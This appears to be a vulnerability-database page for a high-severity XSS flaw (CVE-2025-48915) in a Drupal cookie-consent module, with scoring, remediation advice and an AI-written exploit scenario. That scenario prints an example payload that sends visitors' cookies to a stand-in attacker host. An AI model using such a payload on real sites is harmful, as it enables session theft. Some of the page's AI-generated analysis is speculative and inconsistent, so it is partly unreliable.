Skip to main content

Cookies Consent Management EUVDEUVD-2025-18288

| CVE-2025-48915 HIGH
Cross-site Scripting (XSS) (CWE-79)
2025-06-13 mlhess@drupal.org
8.6
CVSS 3.1 · NVD
View

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Output encoding, context-aware escaping
MITRE ATT&CK

2 techniques across 2 tactics: Initial Access, Execution

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Impact

The CVSS v3.1 vector (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:L) indicates severe real-world risk: the attack requires only network access, low complexity, no privileges, and no user interaction. The high confidentiality impact combined with integrity and availability impacts suggests attackers can steal session tokens, redirect users, modify page content, or execute credential-harvesting attacks. The absence of user interaction (UI:N) is particularly concerning for a cookie consent module—attackers do not need victims to click anything. While specific EPSS and KEV status data was not provided in the query, the combination of (1) high CVSS, (2) network accessibility, (3) zero authentication/interaction requirements, and (3) the ubiquity of Drupal installations using consent management makes this a critical priority. The attack surface is broad: any unauthenticated user visiting a site using vulnerable versions can trigger XSS. This is not a case of high CVSS but low real-world risk; the technical parameters align with genuine exploitability.

Exploit ScenarioDerived

An attacker identifies a Drupal site running COOKiES Consent Management version < 1.2.15. They craft a malicious URL or modify a configuration value (depending on the injection point) to inject JavaScript into the consent banner. For example, if the module reflects user input into the banner's HTML without escaping, an attacker could inject: <img src=x onerror="fetch('https://attacker.com/steal?cookie='+document.cookie)">. When any visitor loads the page, the banner renders, the injected script executes in their browser context, and their session cookies are exfiltrated to the attacker's server. Alternatively, the attacker could inject a keylogger, redirect users to a phishing page, or modify the banner's appearance to trick users into clicking malicious links. Because the attack requires no authentication or user interaction (AV:N, PR:N, UI:N), the attacker can target any unauthenticated visitor immediately. If a public exploit (POC) exists, the attack becomes trivial to automate and deploy at scale.

This Week Schedule remediation this week. Why: HIGH severity (CVSS 7.0-8.9).
Patch available 0.1% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – Mar 14, 2026

Cross-Site Scripting (XSS) vulnerability in Drupal's COOKiES Consent Management module that allows unauthenticated remote attackers to inject and execute malicious scripts during web page generation. All versions from 0.0.0 before 1.2.15 are affected. The vulnerability has a high CVSS score of 8.6 with no authentication or user interaction required, enabling attackers to compromise confidentiality, modify page content, and degrade availability. The network-based attack vector and low complexity indicate this is likely actively exploitable in real-world deployments.

RemediationAI

Immediate Patch: Upgrade Drupal COOKiES Consent Management module to version 1.2.15 or later; priority: CRITICAL; method: Use Drupal's module update system (Manage > Extend > Update or via Composer: composer update drupal/cookies_consent_management) Verification: After patching, verify the module version: drush pm-info cookies_consent_management or check /admin/modules; priority: HIGH Interim Mitigation (if patching delayed): Disable the COOKiES Consent Management module temporarily via /admin/modules if the delay in patching is necessary; this removes the attack surface entirely; priority: MEDIUM Input Validation Review: If operating a custom fork or extension, audit all cookie policy text, consent message fields, and configuration parameters to ensure they are properly sanitized using Drupal's sanitizer functions (e.g., Xss::filter(), htmlspecialchars() with ENT_QUOTES, or Drupal's render array #plain_text property); priority: HIGH WAF/Content Security Policy: Implement or strengthen Content Security Policy (CSP) headers to restrict inline script execution and limit XSS blast radius, even if exploitation occurs; priority: MEDIUM

Affected VersionsENISA

COOKiES Consent Management 0.0.0 <1.2.15

Affected Packages

composer drupal/cookies fix: 1.2.15
euvd cookies_consent_management fix: 1.2.15

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 2 packages in composer, euvd

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

The vulnerability exists in the Drupal COOKiES Consent Management module (CPE: cpe:2.3:a:drupal:cookies_consent_management:*), which is a web-based cookie consent banner and management solution for Drupal-based websites. The root cause is classified as CWE-79 (Improper Neutralization of Input During Web Page Generation), a classic XSS vulnerability where user-controlled input or configuration data is rendered into HTML/JavaScript without proper sanitization or output encoding. In the context of a cookie consent management tool, this likely involves inadequate escaping of cookie policy text, consent messages, or configuration parameters that are reflected in the dynamically generated consent banner. The module operates within Drupal's rendering pipeline, where content should be properly sanitized using Drupal's XHTML filter or equivalent functions before output. The failure to do so allows attackers to bypass the cookie consent interface entirely and inject arbitrary client-side code.

Know when Cookies Consent Management gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

NVD PRIMARY 8.6 HIGH
AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:L

Primary rating from NVD · only source for this CVE.

CVSS VectorNVD

Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
Unchanged
Confidentiality
High
Integrity
Low
Availability
Low

Lifecycle Timeline

2
Patch released
Mar 31, 2026 - 21:13 nvd
Patch available
CVE Published
Jun 13, 2025 - 16:15 nvd
HIGH 8.6

DescriptionCVE.org

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Drupal COOKiES Consent Management allows Cross-Site Scripting (XSS).This issue affects COOKiES Consent Management: from 0.0.0 before 1.2.15.

Executive ViewAI

Why It Matters

A cross-site scripting (XSS) vulnerability in Drupal's COOKiES Consent Management module allows attackers to inject malicious scripts that could compromise user sessions, steal credentials, or redirect visitors to malicious sites. Organizations running affected versions (below 1.2.15) face immediate risk of data theft and reputational damage, particularly if the module is publicly accessible.

Business Impact: High
Compensating Controls

Disable the COOKiES Consent Management module if operationally feasible; deploy Web Application Firewall (WAF) rules to filter XSS attack patterns; implement Content Security Policy (CSP) headers to restrict script execution; restrict module access to authenticated administrators only; enable detailed logging and monitoring of consent form submissions for suspicious activity.

Threat Intelligence Overview

EPSS Score
0.1%
Top 72% exploitable
Data Quality
4 sources
Confidence: Medium

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity HIGH
CISA KEV No
Public POC No
EPSS 0.1%
Patch available Yes
Active threat No
Deciding rule
HIGH severity (CVSS 7.0-8.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision· derived
Scheduled
Exploitation· derived
None
System Exposure· derived
Open
Automatable· derived
Yes
Human Impact
High

Priority Score

43
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +43
PoC: 0
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding.

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy